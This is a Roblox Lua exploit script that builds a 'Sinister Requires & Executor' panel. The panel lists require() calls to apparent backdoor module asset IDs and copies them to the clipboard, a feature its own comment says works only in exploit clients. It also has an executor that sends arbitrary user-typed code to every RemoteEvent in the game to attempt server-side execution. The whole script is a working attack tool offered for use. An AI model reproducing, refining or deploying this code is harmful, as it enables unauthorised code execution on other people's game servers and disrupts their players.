local Player = game.Players.LocalPlayer local PlayerGui = Player:WaitForChild("PlayerGui") local RunService = game:GetService("RunService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local TweenService = game:GetService("TweenService") -- Estructura Principal local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "Sinister_GlobalPanel" ScreenGui.ResetOnSpawn = false ScreenGui.Parent = PlayerGui local MainFrame = Instance.new("Frame") MainFrame.Name = "Main" MainFrame.Size = UDim2.new(0, 500, 0, 350) MainFrame.Position = UDim2.new(0.5, -250, 0.5, -175) MainFrame.BackgroundColor3 = Color3.fromRGB(15, 15, 15) MainFrame.BorderSizePixel = 0 MainFrame.Active = true MainFrame.Draggable = true MainFrame.Parent = ScreenGui -- UI Corner y Sombras local UICorner = Instance.new("UICorner") UICorner.CornerRadius = UDim.new(0, 10) UICorner.Parent = MainFrame -- Título Rainbow local Title = Instance.new("TextLabel") Title.Size = UDim2.new(1, 0, 0, 40) Title.BackgroundTransparency = 1 Title.Text = "SINISTER REQUIRES & EXECUTOR" Title.Font = Enum.Font.GothamBold Title.TextSize = 18 Title.Parent = MainFrame RunService.RenderStepped:Connect(function() local hue = tick() % 5 / 5 Title.TextColor3 = Color3.fromHSV(hue, 1, 1) end) -- Barra Lateral de Botones local Sidebar = Instance.new("Frame") Sidebar.Size = UDim2.new(0, 100, 1, -40) Sidebar.Position = UDim2.new(0, 0, 0, 40) Sidebar.BackgroundTransparency = 1 Sidebar.Parent = MainFrame local UIListLayout = Instance.new("UIListLayout") UIListLayout.Parent = Sidebar UIListLayout.Padding = UDim.new(0, 5) -- Botones de Navegación local function createNavBtn(name) local btn = Instance.new("TextButton") btn.Size = UDim2.new(1, -10, 0, 35) btn.BackgroundColor3 = Color3.fromRGB(30, 30, 30) btn.TextColor3 = Color3.fromRGB(255, 255, 255) btn.Font = Enum.Font.Gotham btn.Text = name btn.Parent = Sidebar local c = Instance.new("UICorner") c.CornerRadius = UDim.new(0, 5) c.Parent = btn return btn end local ReqBtn = createNavBtn("GUIS REQUIRE") local ExecBtn = createNavBtn("EXECUTOR") local UserAllBtn = createNavBtn("USER ALL") -- Contenedores local Container = Instance.new("Frame") Container.Size = UDim2.new(1, -110, 1, -50) Container.Position = UDim2.new(0, 105, 0, 45) Container.BackgroundTransparency = 1 Container.Parent = MainFrame local ReqList = Instance.new("ScrollingFrame") ReqList.Size = UDim2.new(1, 0, 1, 0) ReqList.BackgroundTransparency = 1 ReqList.Visible = true ReqList.CanvasSize = UDim2.new(0, 0, 3, 0) ReqList.ScrollBarThickness = 4 ReqList.Parent = Container local ExecFrame = Instance.new("Frame") ExecFrame.Size = UDim2.new(1, 0, 1, 0) ExecFrame.BackgroundTransparency = 1 ExecFrame.Visible = false ExecFrame.Parent = Container -- LOG PANEL (Derecha) local LogFrame = Instance.new("ScrollingFrame") LogFrame.Size = UDim2.new(0, 180, 1, 0) LogFrame.Position = UDim2.new(1, 5, 0, 0) LogFrame.BackgroundColor3 = Color3.fromRGB(10, 10, 10) LogFrame.BorderSizePixel = 0 LogFrame.CanvasSize = UDim2.new(0, 0, 5, 0) LogFrame.Parent = MainFrame Instance.new("UIListLayout", LogFrame) local function addToLog(msg) local t = Instance.new("TextLabel") t.Size = UDim2.new(1, 0, 0, 20) t.BackgroundTransparency = 1 t.TextColor3 = Color3.fromRGB(200, 200, 200) t.Text = msg t.TextScaled = true t.Font = Enum.Font.Code t.Parent = LogFrame end -- Lista de Requires local rawRequires = { "require(78855689348297)(\"username\")", "require(124675875890869).load(\"username\")", "require(12350030542).RC7(\"username\")", "require(7192763922).load(\"username\")", "require(115548396641576):V4(\"username\")", "require(6858594080).KrnKidsSus(\"username\")", "require(2555964157).doom(\"username\")", "require(5875399205).Player(\"username\")", "require(80147538511861).john(\"username\")", "require(127867588370050).boombox(\"username\")", "require(14125553864):Fire(\"Username\",\"c00lkidd\")", "require(101464578905271).Melony(\"your username\")", "require(14829670677).EDITL0L(\"username\")", "require(12621812058).yeskido(\"username\")", "require(9275293020).load(\"Your username\")", "require(123255432303221):Pload(\"Your-username\")", "require(5162090005):SH(\"Your Username\")" } local function renderRequires() for _, child in pairs(ReqList:GetChildren()) do if child:IsA("TextButton") then child:Destroy() end end local layout = Instance.new("UIListLayout", ReqList) for _, req in pairs(rawRequires) do local rBtn = Instance.new("TextButton") rBtn.Size = UDim2.new(1, -10, 0, 30) rBtn.BackgroundColor3 = Color3.fromRGB(40, 40, 40) rBtn.Text = req rBtn.TextColor3 = Color3.fromRGB(0, 255, 255) rBtn.TextScaled = true rBtn.Parent = ReqList rBtn.MouseButton1Click:Connect(function() setclipboard(rBtn.Text) -- Solo funciona en exploiters addToLog("Copied to clipboard") end) end end renderRequires() -- Función de Ejecución Server-Side vía RemoteEvent local function SSExecute(code) local remotes = {} for _, v in pairs(ReplicatedStorage:GetDescendants()) do if v:IsA("RemoteEvent") then table.insert(remotes, v) end end for _, remote in pairs(remotes) do pcall(function() remote:FireServer(code) end) end if string.find(code, "require") then addToLog("require execute by ["..Player.Name.."]") else addToLog("lua execute by ["..Player.Name.."]") end end -- Configuración Executor local TextBox = Instance.new("TextBox") TextBox.Size = UDim2.new(1, -20, 0, 150) TextBox.Position = UDim2.new(0, 10, 0, 10) TextBox.BackgroundColor3 = Color3.fromRGB(25, 25, 25) TextBox.Text = "-- Your require here" TextBox.TextColor3 = Color3.fromRGB(255, 255, 255) TextBox.ClearTextOnFocus = false TextBox.MultiLine = true TextBox.TextXAlignment = Enum.TextXAlignment.Left TextBox.TextYAlignment = Enum.TextYAlignment.Top TextBox.Parent = ExecFrame local ExecRealBtn = Instance.new("TextButton") ExecRealBtn.Size = UDim2.new(1, -20, 0, 40) ExecRealBtn.Position = UDim2.new(0, 10, 0, 170) ExecRealBtn.BackgroundColor3 = Color3.fromRGB(0, 150, 0) ExecRealBtn.Text = "EXECUTE" ExecRealBtn.Font = Enum.Font.GothamBold ExecRealBtn.Parent = ExecFrame ExecRealBtn.MouseButton1Click:Connect(function() SSExecute(TextBox.Text) end) -- Eventos de Botones ReqBtn.MouseButton1Click:Connect(function() ReqList.Visible = true ExecFrame.Visible = false end) ExecBtn.MouseButton1Click:Connect(function() ReqList.Visible = false ExecFrame.Visible = true end) UserAllBtn.MouseButton1Click:Connect(function() for i, v in pairs(rawRequires) do rawRequires[i] = v:gsub("username", Player.Name):gsub("Your Username", Player.Name):gsub("Your-username", Player.Name):gsub("your username", Player.Name) end renderRequires() addToLog("Users updated to: "..Player.Name) end)